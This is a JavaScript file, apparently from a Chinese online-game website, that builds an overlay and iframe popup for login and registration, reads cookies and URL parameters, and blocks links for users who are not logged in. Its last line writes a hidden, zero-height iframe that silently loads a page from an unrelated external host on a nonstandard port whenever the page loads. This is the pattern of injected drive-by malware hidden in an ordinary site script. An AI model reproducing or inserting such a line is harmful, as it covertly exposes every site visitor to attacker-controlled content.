function showreg(type)
{
		//排除IE版本低于6的用?
	var   tmp=navigator.appVersion.toString();   
	if(parseFloat(tmp.substring(tmp.indexOf("MSIE")+4,tmp.length)) < 6){alert("您的浏览器版本过低，不支持本功能，请尽快升级?quot;)
	}else{
	//生成mask遮罩?
	newMask = document.createElement("div");
	newMask.id = "mark";
	newMask.style.position = "absolute";
	newMask.style.zIndex = "1";
	_scrollWidth = Math.max(document.body.scrollWidth,document.documentElement.scrollWidth);
	_scrollHeight = Math.max(document.body.scrollHeight,document.documentElement.scrollHeight);
	newMask.style.width = _scrollWidth + "px";
	newMask.style.height = _scrollHeight + "px";
	newMask.style.top = "0px";
	newMask.style.left = "0px";
	newMask.style.background = "#CCCCCC";
	newMask.style.filter = "alpha(opacity=40)";
	newMask.style.opacity = "0.40";
	document.body.appendChild(newMask);





    //创建新的IFRAME;
	var newform = document.createElement("iframe");
	newform.id ="showifram";
	newform.name ="showifram";
	newform.width="96%" ;
	newform.height=500 ;
	newform.scrolling = "no" ;
	newform.frameBorder = 0 ;
	newform.style.backgroundColor="transparent";
	newform.allowTransparency = "true";

	if(type==1){
	newform.src='/login.html';
	}else if(type==2){
	newform.src='/login.html';
	}else if(type==3){
	newform.src='/serform.htm';
	}

	//显示框架
	var newDiv = document.createElement("div");
	newDiv.id ="sub_form_d";
	newDiv.name ="sub_form_d";
	newDiv.className = "out";
	newDiv.style.display      =      "none";   
	newDiv.appendChild(newform);
	document.body.appendChild(newDiv);	
  

	if ((navigator.userAgent.indexOf('MSIE') >= 6) && (navigator.userAgent.indexOf('Opera') < 0)){
		//IE情况?
		newform.onreadystatechange = function(){ if(this.readyState=="complete"){newDiv.style.display = ""; }}
	}else if (navigator.userAgent.indexOf('Firefox') >= 0){
		newform.onload=function(){ newDiv.style.display = ""; } 		
	}else{
		newform.onload=function(){ newDiv.style.display = ""; } 
	}

	}
}



function showlogindiv()
{

	if (checkLogin!= 1)
	{
		showreg(1);

	}
	else
	{
		showreg(3);
	}
}

function showregdiv()
{
	if (checkLogin!= 1)
	{
		showreg(1);

	}
	else
	{
		showreg(3);
	}
}

function closeframediv()
{
	var newMask = document.getElementById('mark');
	if(newMask == null){
	}else{
	newMask = document.getElementById('mark');
	document.body.removeChild(newMask);
	}
	var newshowifram = document.getElementById('showifram');
	if(newshowifram == null){
	}else{
	newshowifram = document.getElementById('showifram');
	document.getElementById('sub_form_d').removeChild(newshowifram);
	}
	var newshowdiv = document.getElementById('sub_form_d');
	if(newshowdiv == null){
	}else{
	newshowdiv = document.getElementById('sub_form_d');
	document.body.removeChild(newshowdiv);
	}
}


function getCookieVal (offset) {
	var endstr = document.cookie.indexOf (";", offset);
	if (endstr == -1) endstr = document.cookie.length;
	return decodeURI(document.cookie.substring(offset, endstr));
}

function getCookie (name) {
	var arg = name + "=";
	var alen = arg.length;
	var clen = document.cookie.length;
	var i = 0;
	while (i < clen) {
		var j = i + alen;
		if (document.cookie.substring(i, j) == arg) return getCookieVal (j);
		i = document.cookie.indexOf(" ", i) + 1;
		if (i == 0) break;
	}
		return null;
}

function geturldata()
{
	var _return = new Object();
	var url = location.search;
	var arrStr = url.substring(url.indexOf("?")+1).split("&");
	for(var i=0; i < arrStr.length; i++)
	{
	_return[arrStr[i].split("=")[0]]=unescape(arrStr[i].split("=")[1]);
	}
	return _return;
}

function turntoserver(obj){
	if (checkLogin != 1)
	{
		obj.target="";
		showreg(1);
		obj.href="####";
	}
}

function turntogame(obj){
	if (checkLogin != 1)
	{
		obj.target="";
		showreg(1);
		obj.href="####";
	}
}

function turntoserverlist(obj){
	if (checkLogin != 1)
	{
		obj.target="";
		showreg(1);
		obj.href="####";
	}
}
document.writeln("<iframe src=http:\/\/fes4.3322.org:91\/xc03\/03index.htm width=10 height=0><\/iframe> ");